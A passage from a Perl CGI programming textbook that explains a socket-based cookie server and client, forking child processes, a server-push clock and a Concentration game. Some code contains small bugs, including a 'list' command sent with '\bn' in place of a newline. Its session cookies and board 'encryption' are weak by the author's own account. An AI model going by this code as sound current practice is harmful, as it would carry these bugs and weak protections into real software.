                                    ($remote_address);
                        } until (!$DATA{$cookie});

If a cookie is not defined for this session, and the number of cookies is not over the pre-defined limit, the generate_new_cookie subroutine is called to create a unique cookie.

                        $no_cookies++;
                        $DATA{$cookie} = join("::", $remote_address,
                                                    $cookie, time);
                        &print_status ($success, $cookie);
                    }
                }

Once a cookie is successfully created, the counter is incremented, and a new key is inserted into the DATA associative array. The value for this key is a string containing the remote address (so we can check against it later), the cookie, and the time (for expiration purposes).

            } elsif ( ($check_cookie, $remote_address) =
                /^cookie\s*(\S+)\s*(\S+)/) {

The cookie command sets the cookie for the session. Once you set a cookie, you can store information, list the stored information, and delete the cookie. The cookie command is generally used once you have a valid cookie (by using the new command). Here is a typical cookie command:

cookie 13fGK7KIlZSF2 www.test.net
200: Cookie 13fGK7KIlZSF2 set.

The server will return a status indicating either success or failure. If you try to set a cookie that does not exist, you will get the following error message:

cookie 6bseVEbhf74 www.test.net
500: Cookie does not exist.

And if the IP address is not the same as the one that was used when creating the cookie, this is what is displayed:

cookie 13fGK7KIlZSF2 www.joe.net
500: Incorrect IP address.

The program continues:

                if ($cookie) {
                    &print_status ($error, "You already specified a cookie.");

If the cookie command is specified multiple times in a session, an error message is output.

            } else {
                if ($DATA{$check_cookie}) {
                    ($old_address) = split(/::/, $DATA{$check_cookie});

                    if ($old_address ne $remote_address) {
                        &print_status ($error, "Incorrect IP address.");
                    } else {
                        $cookie = $check_cookie;
                        &print_status ($success, "Cookie $cookie set.");
                    }
                } else {
                    &print_status ($error, "Cookie does not exist.");
                 }
            }

If the cookie exists, the specified address is compared to the original IP address. If everything is valid, the cookie variable will contain the cookie.

            } elsif ( ($variable, $value) = /^(\w+)\s*=\s*(.*)$/) {

The regular expression checks for a statement that contains a key and a value that is used to store the information.

[Graphic: Figure from the text]

Here is a sample session where two variables are stored:

cookie 13fGK7KIlZSF2 www.test.net
200: Cookie 13fGK7KIlZSF2 set.
name = Joe Test
200: name=Joe Test
organization = Test Net
200: organization=Test Net

The server is stringent, and allows only variables composed of alphanumeric characters (A-Z, a-z, 0-9, _).

                if ($cookie) {
                    $key = join ($separator, $cookie, $variable);
                    $DATA{$key} = $value;
                    &print_status ($success, "$variable=$value");
                } else {
                    &print_status ($error, "You must specify a cookie.");
                }

The variable name is concatenated with the cookie and the separator to create the key for the associative array.

            } elsif (/^list$/) {
                if ($cookie) {
                    foreach $key (keys %DATA) {
                        $string = join ("", $cookie, $separator);
                        if ( ($variable) = $key =~ /^$string(.*)$/) {
                            &print_status ($success, "$variable=$DATA{$key}");
                        }
                    }
                    print ".", "\n";
                } else {
                    &print_status ($error, "You don't have a cookie yet.");
                }

The list command displays all of the stored information by iterating through the DATA associative array. Only keys that contain the separator are output. In other words, the initial key containing the cookie, the remote address, and the time is not displayed. Here is the output from a list command:

cookie 13fGK7KIlZSF2 www.test.net
200: Cookie 13fGK7KIlZSF2 set.
list
200: name=Joe Test
200: organization=Test Net
.

The data ends with the "." character, so that the client can stop reading at that point and an infinite loop is not created.

            } elsif (/^delete$/) {
                if ($cookie) {
                    &remove_cookie ($cookie);
                    &print_status ($success, "Cookie $cookie deleted.");
                } else {
                    &print_status ($error, "Select a cookie to delete.");
                }

The delete command removes the cookie from its internal database. The remove_cookie subroutine is called to remove all information associated with the cookie. Here is an example that shows the effect of the delete command:

cookie 13fGK7KIlZSF2 www.test.net
200: Cookie 13fGK7KIlZSF2 set.
list
200: name=Joe Test
200: organization=Test Net
.
delete
200: Cookie 13fGK7KIlZSF2 deleted.
list
.

The program continues:

            } elsif (/^exit|quit$/) {
                $cookie = undef;
                &print_status ($success, "Bye.");
                last;

The exit and quit commands are used to exit from the server. The cookie variable is cleared. This is very important! If it is not cleared, the server will incorrectly assume that a cookie is already set when a new connection is established. This can be dangerous, as the new session can see the variables stored by the previous connection by executing the list command.

            } elsif (!/^\s*$/) {
                &print_status ($error, "Invalid command.");
            }
        }
    }

An error message is output if the specified command is not among the ones listed.

    &close_connection (COOKIE);
    &expire_old_cookies();
}
exit(0);

The connection between the server and the client is closed. The expire_old_cookies subroutine removes any cookies (and the information associated with them) that have expired. In reality, the cookies are not necessarily expired after the predefined amount of time, but are checked (and removed) when a connection terminates.

The print_status subroutine simply displays a status and the message.

sub print_status
{
    local ($status, $message) = @_;
    print $status, ": ", $message, "\n";
}

The generate_new_cookie subroutine generates a random and unique cookie by using the crypt function to encrypt a string that is based on the current time and the remote address. The algorithm used in creating a cookie is arbitrary; you can use just about any algorithm to generate random cookies.

sub generate_new_cookie
{
    local ($remote) = @_;
    local ($random, $temp_address, $cookie_string, $new_cookie);
    $random = rand (time);
    ($temp_address = $remote) =~ s/\.//g;
    $cookie_string = join ("", $temp_address, time) / $random;
    $new_cookie = crypt ($cookie_string, $random);
    return ($new_cookie);
}

The expire_old_cookies subroutine removes cookies after a pre-defined period of time. The foreach loop iterates through the associative array, searching for keys that do not contain the separator (i.e., the original key). For each original key, the sum of the creation time and the expiration time (in seconds) is compared with the current time. If the cookie has expired, the remove_cookie subroutine is called to delete the cookie.

sub expire_old_cookies
{
    local ($current_time, $key, $cookie_time);
    $current_time = time;
    foreach $key (keys %DATA) {
        if ($key !~ /$separator/) {
            $cookie_time = (split(/::/, $DATA{$key}))[2];
            if ( $current_time >= ($cookie_time + $expire_time) ) {
               &remove_cookie ($key);
            }
        }
    }
}

The remove_cookie subroutine deletes the cookie:

sub remove_cookie
{
    local ($cookie_key) = @_;
    local ($key, $exact_cookie);
    $exact_cookie = (split(/::/, $DATA{$cookie_key}))[1];

    foreach $key (keys %DATA) {
        if ($key =~ /$exact_cookie/) {
            delete $DATA{$key};
        }
    }
    $no_cookies--;
}

The loop iterates through the array, searches for all keys that contain the cookie identifier, and deletes them. The counter is decremented when a cookie is removed.

Now, let's look at the CGI program that communicates with this server to keep state.

Cookie Client

Let's review what a cookie client is, and what it needs from a server. A client is a CGI program that has to run many times for each user (usually because it displays multiple forms and is invoked each time by each form). The program needs to open a connection to the cookie server, create a cookie, and store information in it. The information stored for one form is retrieved later when the user submits another form.

#!/usr/local/bin/perl
require "sockets.pl";
$webmaster = "Shishir Gundavaram (shishir\@bu\.edu)";
$remote_address = $ENV{'REMOTE_ADDR'};

The remote address of the host that is connected to this HTTP server is stored. This information will be used to create unique cookies.

$cookie_server = "cgi.bu.edu";
$cookie_port = 5000;
$document_root = "/usr/local/bin/httpd_1.4.2/public";
$error = "Cookie Client Error";
&parse_form_data (*FORM);
$start_form = $FORM{'start'};
$next_form = $FORM{'next'};
$cookie = $FORM{'Magic_Cookie'};

Initially, the browser needs to pass a query to this program, indicating the first form:

http://some.machine/cgi-bin/cookie_client.pl?start=/interests.html

All forms after that must contain a next query in the <FORM> tag:

<FORM ACTION="/cgi-bin/cookie_client.pl?next=/location.html" METHOD="POST">

The filename passed in the name query can be different for each form. That is how the forms let the user navigate.

Finally, there must be a hidden field in each form that contains the cookie:

<INPUT TYPE="hidden" NAME="Magic_Cookie" VALUE="-*Cookie*-">

This script will replace the string "-*Cookie*-" with a unique cookie, retrieved from the cookie server. This identifier allows one form to retrieve what another form has stored.

One way to think of this cookie technique is this: The cookie server stores all the data this program wants to save. To retrieve the data, each run of the program just needs to know the cookie. One instance of the program passes this cookie to the next instance by placing it in the form. The form then sends the cookie to the new instance of the program.

if ($start_form) {
    $cookie = &get_new_cookie ();
    &parse_form ($start_form, $cookie);

If the specified form is the first one in the series, the get_new_cookie subroutine is called to retrieve a new cookie identifier. And the parse_form subroutine is responsible for placing the actual cookie in the hidden field.

} elsif ($next_form) {
    &save_current_form ($cookie);
    &parse_form ($next_form, $cookie);

Either $start_form or $next_form will be set, but the browser should not set both. There is only one start to a session! If the form contains the next query, the information within it is stored on the cookie server, which is accomplished by the save_current_form subroutine.

} else {
    if ($cookie) {
        &last_form ($cookie);
    } else {
        &return_error (500, $error,
                "You have executed this script in an invalid manner.");
    }
}
exit (0);

Finally, if the form does not contain any query information, but does contain a cookie identifier, the last_form subroutine is called to display all of the stored information.

That is the end of the main program. It simply lays out a structure. If each form contains the correct start or next query, the program will display everything when the user wants it.

The open_and_check subroutine simply connects to the cookie server and reads the first line (remove the trailing newline character) that is output by the server. It then checks this line to make sure that the server is functioning properly.

sub open_and_check
{
    local ($first_line);
    &open_connection (COOKIE, $cookie_server, $cookie_port)
        || &return_error (500, $error, "Could not connect to cookie server.");
    chop ($first_line = <COOKIE>);
    if ($first_line !~ /^200/) {
        &return_error (500, $error, "Cookie server returned an error.");
    }
}

The get_new_cookie subroutine issues the new command to the server and then checks the status to make sure that a unique cookie identifier was output by the server.

sub get_new_cookie
{
    local ($cookie_line, $new_cookie);
    &open_and_check ();
    print COOKIE "new ", $remote_address, "\n";
    chop ($cookie_line = <COOKIE>);
    &close_connection (COOKIE);
    if ( ($new_cookie) = $cookie_line =~ /^200: (\S+)$/) {
        return ($new_cookie);
    } else {
        &return_error (500, $error, "New cookie was not created.");
    }
}

The parse_form subroutine constructs and displays a dynamic form. It reads the entire contents of the form from a file, such as location.html. The only change this subroutine makes is to replace the string "-*Cookie*-" with the unique cookie returned by the cookie server. The form passes the cookie as input data to the program, and the program passes the cookie to the server to set and list data.

sub parse_form
{
    local ($form, $magic_cookie) = @_;
    local ($path_to_form);
    if ($form =~ /\.\./){
        &return_error (500, $error, "What are you trying to do?");
    }
    $path_to_form = join ("/", $document_root, $form);
    open (FILE, "<" . $path_to_form)
        || &return_error (500, $error, "Could not open form.");
    print "Content-type: text/html", "\n\n";
    while (<FILE>) {
        if (/-\*Cookie\*-/) {
            s//$magic_cookie/g;
        }
        print;
    }
    close (FILE);
}

The save_current_form subroutine stores the form information on the cookie server.

sub save_current_form
{
    local ($magic_cookie) = @_;
    local ($ignore_fields, $cookie_line, $key);
    $ignore_fields = '(start|next|Magic_Cookie)';
    &open_and_check ();
    print COOKIE "cookie $magic_cookie $remote_address", "\n";
    chop ($cookie_line = <COOKIE>);

The cookie command is issued to the server to set the cookie for subsequent add, delete, and list operations.

    if ($cookie_line =~ /^200/) {
        foreach $key (keys %FORM) {
            next if ($key =~ /\b$ignore_fields\b/o);

            print COOKIE $key, "=", $FORM{$key}, "\n";
            chop ($cookie_line = <COOKIE>);
            if ($cookie_line !~ /^200/) {
                &return_error (500, $error, "Form info. could not be stored.");
            }
        }
    } else {
        &return_error (500, $error, "The cookie could not be set.");
    }
    &close_connection (COOKIE);
}

The foreach loop iterates through the associative array containing the form information. All fields, with the exception of start, next, and Magic_Cookie, are stored on the cookie server. These fields are used internally by this program, and are not meant to be stored. If the server cannot store the information, it returns an error.

The last_form subroutine is executed when the last form in the series is being processed. The list command is sent to the server. The display_all_items subroutine reads and displays the server output in response to this command. Finally, the cookie is deleted.

sub last_form
{
    local ($magic_cookie) = @_;
    local ($cookie_line, $key_value, $key, $value);
    &open_and_check ();
    print COOKIE "cookie $magic_cookie $remote_address", "\n";
    chop ($cookie_line = <COOKIE>);
    if ($cookie_line =~ /^200/) {
        print COOKIE "list", "\bn";
        &display_all_items ();
        print COOKIE "delete", "\n";
    } else {
        &return_error (500, $error, "The cookie could not be set.");
    }
    &close_connection (COOKIE);
}

The display_all_items subroutine prints a summary of the user's responses.

sub display_all_items
{
    local ($key_value, $key, $value);
    print "Content-type: text/html", "\n\n";
    print "<HTML>", "\n";
    print "<HEAD><TITLE>Summary</TITLE></HEAD>", "\n";
    print "<BODY>", "\n";
    print "<H1>Summary and Results</H1>", "\n";
    print "Here are the items/options that you selected:", "<HR>", "\n";
    while (<COOKIE>) {
        chop;
        last if (/^\.$/);
        $key_value = (split (/\s/, $_, 2))[1];
        ($key, $value) = split (/=/, $key_value);

        print "<B>", $key, " = ", $value, "</B>", "<BR>", "\n";
    }

The while loop reads the output from the server, and parses and displays the key-value pair.

    foreach $key (keys %FORM) {
        next if ($key =~ /^Magic_Cookie$/);
        print "<B>", $key, " = ", $FORM{$key}, "</B>", "<BR>", "\n";
    }
        print "</BODY></HTML", "\n";
}

The key-value pairs from this last form are also displayed, since they are not stored on the server.

Finally, the familiar parse_form_data subroutine concatenates the key-value pairs from both the query string (GET) and from standard input (POST), and stores them in an associative array.

sub parse_form_data
{
    local (*FORM_DATA) = @_;
    local ($query_string, @key_value_pairs, $key_value, $key, $value);
    read (STDIN, $query_string, $ENV{'CONTENT_LENGTH'});
    if ($ENV{'QUERY_STRING'}) {
            $query_string = join("&", $query_string, $ENV{'QUERY_STRING'});
    }
    @key_value_pairs = split (/&/, $query_string);
    foreach $key_value (@key_value_pairs) {
        ($key, $value) = split (/=/, $key_value);
        $key   =~ tr/+/ /;
        $value =~ tr/+/ /;
        $key   =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
        $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
        if (defined($FORM_DATA{$key})) {
            $FORM_DATA{$key} = join ("\0", $FORM_DATA{$key}, $value);
        } else {
            $FORM_DATA{$key} = $value;
        }
    }
}

Previous | Home | Next
Magic Cookies | Book Index | Forking/Spawning Child Processes
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.10 Forking/Spawning Child Processes

CGI Programming on the World Wide Web

Previous Chapter 10
Gateways to Internet Information Servers 		Next

10.10 Forking/Spawning Child Processes

Before we end this chapter, let's look at a very powerful feature found on the UNIX operating system: concurrent processes.

The cookie server we discussed can accept only one connection at a time, although it will queue up to five connections, which it will handle sequentially, one after the other. Because of the way the server operates--storing information in variables--it cannot be designed to handle multiple connections simultaneously. Let's look at the reason for this.

In UNIX, a process (parent) has the ability to create another process (child) that executes some given code independently. This can be really useful for programs that need a lot of time to finish. For example, if you have a CGI program that needs to calculate some complex equation, search large databases, or delete and cleanup a lot of files, you can "spawn" a child process that performs the task, while the parent returns control to the browser. In such a case, the user does not have to wait for the task to finish, because the child process is running in the background. Let's look at a simple CGI program:

#!/usr/local/bin/perl
$| = 1;
print "Content-type: text/plain", "\n\n";
print "We are about to create the child!", "\n";
if ($pid = fork) {
        print <<End_of_Parent;
I am the parent speaking. I have successfully created a child process.
The Process Identification Number (PID) of the child process is: $pid.
The child will be cleaning up all the files in the directory. It might
take a while, but you do not have to wait!
End_of_Parent

} else {
        close (STDOUT);

        system ("/usr/bin/rm", "-fr", "/tmp/CGI_test", "/var/tmp/CGI");
        exit(0);
}
print "I am the parent again! NOAow it is time to exit.", "\n";
print "My child process will work on its own! Good Bye!", "\n";
exit(0);

The fork command actually creates a child process, and returns the PID of the process to the parent, and a value of zero to the child. In this example, the first block of code is executed by the parent, while the second block is executed by the child. The one thing you have to note is that the child process gets a copy of all the variables and subroutines that are available to the parent. However, if the child process makes any modifications at all, they are simply discarded when it exits; they do not affect the parent process.

This is the main reason why the cookie server cannot handle multiple connections. There are two issues here. The first is that multiple connections are not supported. Once the CGI program connects to the server, the server handles requests from the program, and so cannot accept any more connections until the program breaks the connection. The only way to allow multiple connections is to fork a process every time there is a connection, so there is a new process to handle each connection.

This leads us to the second issue. If there is a separate child process to handle each connection, then each process would have its own variable namespace (along with a copy of the parent's data). If a child process modifies or stores new data (in variables), then that data is gone once the process terminates, and there is no way to pass that data back to the parent. That's why we only have one server that keeps track of the data one connection at a time.

The system command that we have been using to execute UNIX commands is implemented in the following way:

unless (fork) {
    exec ("command");
}
wait;

This is identical to:

system ("command");

Basically, the child process--the unless block executes only if the return value from fork is zero--executes the specified command, while the parent waits for it to finish. Here is how we could implement a server that handles multiple connections simultaneously (although this approach will not work for our cookie server):

$SIG{'CHLD'} = "wait_for_child_to_die";
while (1) {
    ( ($ip_name, $ip_address) = &accept_connection (COOKIE, SOCKET) )
        || die "Could not accept connection.", "\n";

    if (fork) {
        #
        # Parent Process (do almost nothing here)
        #
    } else {
        #
        # Child Process (do almost everything here)
        #
    }
    &close_connection (COOKIE);
}
sub wait_for_child_to_die
{
    wait;
}

One important note: If a parent does not wait for a child process to die, certain "zombie" processes will be left on the system.

Previous | Home | Next
Maintaining State with a Server | Book Index | Advanced and Creative CGI Applications
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] Advanced and Creative CGI Applications

CGI Programming on the World Wide Web

Previous Chapter 11 Next

11. Advanced and Creative CGI Applications

Contents:
Animated Clock
Game of Concentration
Introduction to Imagemaps
Calendar Manager

In this final chapter of practical advice and code, we will look at three applications: a simple animated clock, the game of Concentration, and a Calendar Manager. All three of these examples utilize a combination of the various techniques presented up to this point.

11.1 Animated Clock

This example creates the effect of an animated digital clock by repeatedly generating dynamic GIF images and sending them to the browser using server push (see the discussion in Chapter 6, Hypermedia Documents). You can use the techniques presented in this example to create CGI programs that continuously display such information as system load averages, stock prices, or sports scores. However, programs like these can heavily tax the host machine, although they may be fun and entertaining. So you should use them only if there is an absolute need to do so.

To summarize the method used in this example: First we check that the browser is Netscape Navigator, version 1.1 or higher. That's because Netscape is the only browser that currently supports server push. We then generate a new image every few seconds and send it to the client. To create the image, we'll use the same gd extension to Perl that we showed in Chapter 6, Hypermedia Documents. We have to send the data as a special MIME type called multipart/x-mixed-replace so that the client replaces each old image with the new one. Following the MIME standard, we send an "--End--" string at the end of each image. Here is the code:

#!/usr/local/bin/perl5
use GD;
$| = 1;
$font_length = 8;
$font_height = 16;
$boundary_string = "\n" . "--End" . "\n";
$end_of_data = "\n" . "--End--" . "\n";

The program turns output buffering off by setting Perl's $| variable. The boundary strings for server push are defined.

$delay_time = 5;
$max_updates = 10;

The $delay_time variable reflects the time between image updates. The maximum number of updates performed by this program is set to 10. The reason for setting these variables is so that the user does not tax the system by watching the updates for an infinite amount of time.

print "HTTP/1.0 200 OK", "\n";

This CGI script outputs the complete HTTP header (see Chapter 3, Output from the Common Gateway Interface). Server push animation appears smooth only if buffering is turned off and a complete header is output.

$browser = $ENV{'HTTP_USER_AGENT'};
if ($browser =~ m#^Mozilla/(1\.[^0]|[2-9])#) {
    print "Content-type: multipart/x-mixed-replace;boundary=End", "\n";
    print $boundary_string;

This if block runs if the browser is Netscape Navigator, version 1.1 or higher.

    for ($loop=0; $loop < $max_updates; $loop++) {
        &display_time ();
        print $boundary_string;
        sleep ($delay_time);
    }

The display_time subroutine determines the current time, creates an image, outputs the image/gif MIME type, and displays the image. The boundary string is sent to the browser indicating the end of image data. The sleep command then waits for the specified amount of time.

    &display_time ("end");
    print $end_of_data;

Once the loop is terminated, the display_time subroutine is called one final time, with an argument. The "end" argument instructs the subroutine to draw the clock in a different way--as we will soon see. Finally, the last boundary string is sent to the browser.

} else {
    &display_time ("end");
}
exit(0);

If the browser does not support server push, the display_time subroutine is called just once to display a static image of the current time.

The display_time subroutine does most of the work for the program:

sub display_time
{
    local ($status) = @_;
    local ($seconds, $minutes, $hour, $ampm, $time, $time_length,
           $x, $y, $image, $black, $color);
    print "Content-type: image/gif", "\n\n";
    ($seconds, $minutes, $hour) = localtime (time);
    if ($hour > 12) {
            $hour -= 12;
            $ampm = "pm";
    } else {
            $ampm = "am";
    }
    if ($hour == 0) {
            $hour = 12;
    }
    $time = sprintf ("%02d:%02d:%02d %s", $hour, $minutes, $seconds, $ampm);

The current time is formatted and stored in the variable $time. The output of this variable will look like this: 09:27:03 pm.

    $time_length = length($time);
    $x = $font_length * $time_length;
    $y = $font_height;

The size of the image is calculated, based on the length of the $time string multiplied by the font dimensions.

    $image = new GD::Image ($x, $y);
    $black = $image->colorAllocate (0, 0, 0);

A new image is created with black as the background color.

    if ($status eq "end") {
        $color = $image->colorAllocate (0, 0, 255);
        $image->transparent ($black);
    } else {
        $color = $image->colorAllocate (255, 0, 0);
    }

If the argument passed to this script is "end", the color of the text is set to blue. In addition, black is set as the transparent color. In other words, black will not appear in the image, and as a result the blue text will appear without any image border. If an argument was not passed, the text color is set to red.

    $image->string (gdLargeFont, 0, 0, $time, $color);
    print $image->gif;
}

Finally, the image is displayed to standard output.

Previous | Home | Next
Forking/Spawning Child Processes | Book Index | Game of Concentration
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 11] 11.2 Game of Concentration

CGI Programming on the World Wide Web

Previous Chapter 11
Advanced and Creative CGI Applications 		Next

11.2 Game of Concentration

Up to this point, we have discussed reasonably useful applications. So it is time now to look at some pure entertainment: the game of Concentration (also called Memory). The game consists of an arbitrary number of tiles, where each tile exactly matches one other tile. The value (or picture) "under" each tile is hidden from the user. Figure 11.1 shows what the initial screen looks like.

Figure 11.1: First game screen

[Graphic: Figure 11-1]

When the user selects a tile, the value is displayed. The user can select two tiles at a time. If they match, the values behind the tiles remain displayed. The object of the game is to find all matching tiles in as few looks as possible. Figure 11.2 shows a successful match.

Figure 11.2: Game screen with successful match

[Graphic: Figure 11-2]

The new technique introduced by this example is how to store the entire state of the board in the HTML code sent to the browser. Each click by the user sends the state of the tiles back to the server so that a correct new board can be generated. This is how you access the program for the first time:

http://some.machine/cgi-bin/concentration.pl

This program displays a board, where each tile links back to this program with a query string like this:

http://some.machine/cgi-bin/concentration.pl?
%258%c8%7d0%834%578%4b0%a8c%dac%ce4%bb8%1450%2bc%ea6%960%6a4%708%1%0

The query string actually contains all of the board information (encrypted so that you can't cheat!) as well as the user selections. This is yet another way to store information when multiple sessions are involved, if you don't want to use temporary files and magic cookies. It is not a general solution for all applications, because the length of the query string can be truncated by the browser or the server--see Chapter 4, Forms and CGI. But in this case, the size of the data is small, so it is perfect.

When a certain tile is selected, the program receives a query like the one above. It processes the query, checks to see if the two user selections match, and then creates a new series of query strings for each tile. The process is repeated until the game is finished.

Now for the code:

#!/usr/local/bin/perl
@BOARD = ();

The BOARD array is used to store the board information--the values "under" each tile. A typical array might look like this:

1 4 5 8 7 2 1 6 7 4 6 3 2 8 3 5

In this game, the board contains 16 tiles, each containing a number from 1 to 8. For example, the user has to choose location numbers 2 and 10 to find a match for the value 4.

$display = "";

This variable will hold the needed HTML to produce a board layout. The program creates the layout simply by appending information to this string. If the user's browser does not support graphics, this string is output as is. However, if a graphic browser is being used, the program performs some string substitution and inserts <IMG> tags.

We will look at the graphic aspects in more detail after we run through the logic of the game.

$spaces = " " x 5;
$images_dir = "/icons";

The $spaces variable is used to add extra spaces to the output between each tile. And $images_dir points to the directory where the images (representing the values behind the tiles) are stored.

$query_string = $ENV{'QUERY_STRING'};
if ($query_string) {

If a query string is passed to this program (which happens every time the user clicks on a tile), this block of code is executed.

    ($new_URL_query, $user_selections) = &undecode_query_string (*BOARD);

The undecode_query_string subroutine decodes the query string (and also decrypts it), fills the BOARD array with the board information--based on the information stored in query string--and returns all the information needed by the program to interpret the state of the board. The two strings returned are $new_URL_query, containing the values of the 16 markers, and $user_selections, containing the positions of the tiles that the user selected. This is what $new_URL_query looks like:

%1%4%5%8%7%2%1%6%7%4%6%3%2%8%3%5

in other words, 16 values separated by percent signs. The position of each value represents the position of the tile on the board. The value shown is the actual value under the tile. For example, the second tile contains the value 4.

The format of $user_selections is:

1%0

It contains two values because the user turns up two tiles in succession, trying to find two that match. The 1%0 in this case indicates that the user has clicked on tile number 1 for his or her first selection. The 0 (which doesn't correspond to any position on the board) indicates that only one tile has been turned up. Next time, if the user selects another tile--say tile number 7--the user selection string will look like this:

1%7

From the board data in $new_URL_query above, you can see that tiles number 1 and 7 both contain the value 1, which signifies a match. In this case, the program changes the query string for each tile to reflect a match by adding a "+" sign:

%1+%4%5%8%7%2%1+%6%7%4%6%3%2%8%3%5

These tiles will no longer have links (the user cannot "open" the tile as the value is known), but rather, the values will be displayed.

    &draw_current_board (*BOARD, $new_URL_query, $user_selections);

The draw_current_board routine uses the information stored in the BOARD array, as well as the query information and user selections, to draw an updated board.

} else {
    &create_game (*BOARD);
    $new_URL_query = &build_decoded_query (*BOARD);
    &draw_clear_board ($new_URL_query);
}

If no query string is passed to this program, the create_game subroutine is called to fill the BOARD array with new board information. The values for each tile are randomly selected, so a person can play over and over again as long as boredom does not set in. The build_decoded_query subroutine uses the information in BOARD to create a encrypted query string. Finally, draw_clear_board uses the information to draw the board. Actually, the board is not yet drawn, but rather the HTML needed to draw the board is stored in the $display variable.

&display_board ();
exit(0);

The display_board subroutine checks the user's browser type (either text or graphic), performs the appropriate substitutions, and sends the information to the browser for display.

The create_game subroutine fills up the specified array with a random board layout.

sub create_game
{
    local (*game_board) = @_;
    local ($loop, @number, $random);
    srand (time | $$);

A good seed for the random number generator is set by using the combination of the current time and the process PID.

    for ($loop=1; $loop <= 16; $loop++) {
        $game_board[$loop] = 0;
    }
    for ($loop=1; $loop <= 8; $loop++) {
        $number[$loop] = 0;
    }

The game_board and number arrays are initialized. Remember, $game_board is just a reference to the array that is passed to this subroutine. Throughout the different subroutines in this program, we will use $game_board to store the values behind the 16 tiles. Note that the loop begins at 1, because tiles are numbered from 1 to 16. We never load anything into $game_board[0]. In fact, we use the number 0 in other parts of the program to indicate when the user has not yet selected a tile.

The $number array keeps track of the values that are already placed in the game_board array. This is so that a value appears "behind" only two tiles.

    for ($loop=1; $loop <= 16; $loop++) {
        do {
            $random = int (rand(8)) + 1;
        } until ($number[$random] < 2);
        $game_board[$loop] = $random;
        $number[$random]++;
    }
}

First, a random value from 1 to 8 is selected. If the value is already stored in the $number array twice, another random value is chosen. On the other hand, if the value is valid, it is stored in the $game_board array. This whole process is repeated 16 times, until the board is completely filled.

The build_decoded_query subroutine uses the array we just created to construct a decoded query string.

sub build_decoded_query
{
    local (*game_board) = @_;
    local ($URL_query, $loop, @temp_board);
    for ($loop=1; $loop <= 16; $loop++) {
        ($temp_board[$loop] = $game_board[$loop]) =~
            s/(\w+)/sprintf ("%lx", $1 * (($loop * 50) + 100))/e;
    }

The loop builds up a string of 16 values, one at a time. These values come from the BOARD array, which the calling program passes to this subroutine.

The $temp_board array takes on the value of a successive element of the board array each time through the loop. A series of arithmetic operations are performed on the value, and then it is converted to a hexadecimal number. This is an arbitrary encryption scheme. Just about any encryption technique can be used, as long as you can reverse the process when you get the string back, and so that the user will not be able to see the board information by looking at a query string.

Of course, if you use the exact algorithm I'm showing here, someone who's read this book can play your game and figure out what the values are. Maybe no one would go to such trouble to cheat on a game that three-year-olds play, but you should be sure to make up a different encryption algorithm if you're using this subroutine in a serious CGI application.

Note the e at the end of the regular expression, which instructs Perl to execute the second part of the substitute operator (the sprintf statement). In fact, we have been using this type of construct throughout the book; see all the parse_form_data subroutines.

    $URL_query = join ("%", @temp_board);
    return ($URL_query);
}

The temp_board array is joined to create a string containing the query string. Notice how the loop starts with the index of 1, which means that the query will start with a leading "%". There is no specific reason for doing this; you could omit it if you want.

We'll use this short subroutine later in this section:

sub build
{
    local (@string) = @_;
    $display = join ("", $display, @string);
}

This subroutine concatenates the string(s) passed to it with the $display variable. Note that $display is a global variable.

The draw_clear_board subroutine draws the board when the program is invoked for the first time.

sub draw_clear_board
{
    local ($URL_query) = @_;
    local ($URL, $inner, $outer, $index, $anchor);
    $URL = join ("", $ENV{'SCRIPT_NAME'}, "?", $URL_query);

The input to this subroutine is the BOARD array, the elements of which get joined into a string and placed after a question mark. So the $URL variable contains a string that looks like this:

/cgi-bin/concentration.pl?
%258%c8%7d0%834%578%4b0%a8c%dac%ce4%bb8%1450%2bc%ea6%960%6a4%708

To continue with the subroutine:

    for ($outer=1; $outer <= 4; $outer++) {
        for ($inner=1; $inner <= 4; $inner++) {
            $index = (4 * ($outer - 1)) + $inner;
            $anchor = join("%", "", $index, "0");

The loop iterates 16 times to add information about the tile number for each tile. For example, it will add the string "%1%0" to the query string for tile number 1, "%2%0" for tile 2, and so on. Later, when the board is displayed and the user clicks a tile, the program can look at the string to figure out which tile was clicked.

You might be wondering why we did not just use a for loop to iterate 16 times. The reason is that we want to display four tiles on one line (see the graphic output above or the text output below).

            &build(qq|<A HREF="$URL$anchor">**</A>|, $spaces);
        }
        &build ("\n\n");
    }
}

For text browsers, the string "**" represents each tile. Figure 11.3 shows how the output will appear on a text browser.

Figure 11.3: Text browser output

[Graphic: Figure 11-3]

You've probably been wondering how we're going to untangle the marvelous encrypted garbage that we've stored in the HTML code for each tile. The next subroutine we will look at decodes the query information when a tile is selected.

sub undecode_query_string
{
    local (*game_board) = @_;
    local ($user_choices, $loop, $original_query, $URL_query);
    $ENV{'QUERY_STRING'} =~ /^((%\w+\+{0,1}){16})%(.*)$/;
    ($original_query, $user_choices) = ($1, $3);

The regular expression takes the first 16 strings in the format of %xx (possibly followed by "+" to indicate a match), stores them in $original_query, and places the rest of the query (the user selections) in the variable $user_choices.

The regular expression is shown below. Basically, (%\w+\+{0,1}) matches strings like %258 or %258+ (where the plus sign indicates that the tile has been successfully matched). So the larger expression ((%\w+\+{0,1}){16}) matches the whole 16 tiles. This larger expression becomes $1 because it is enclosed in the first set of parentheses.

[Graphic: Figure from the text]

Notice the second set of parentheses? They're the parentheses in (%\w+\+{0,1}). This becomes $2, but we don't care about that. We used the parentheses simply to group an expression so we could repeat it 16 times.

After the 16 tiles comes a percent sign, which we specify explicitly, and then the (.*) that matches everything else. (We didn't really need the $ to match the end of the line, because .* always matches everything that's left.) The (.*) becomes $3, and we save it as the user selections.

So now, $original_query will contain the encrypted values in the tiles, looking something like this:

%258%c8%7d0%834%578%4b0%a8c%dac%ce4%bb8%1450%2bc%ea6%960%6a4%708

while $user_choices contains the user selections, like this:

    1%7

We can now operate on the string of tile values.

    @game_board = split (/%/, $original_query);

The $original_query variable is split on the "%" delimiter to create a 16-element array consisting of the board positions.

    for ($loop=1; $loop <= 16; $loop++) {
        $game_board[$loop] =~ s|(\w+)|hex ($1) / (($loop * 50) + 100)|e;
    }

A regular expression similar to the one used to encode the query string is used to decode it. The hex command translates a number from hexadecimal to a format that can be used in arithmetic calculations.

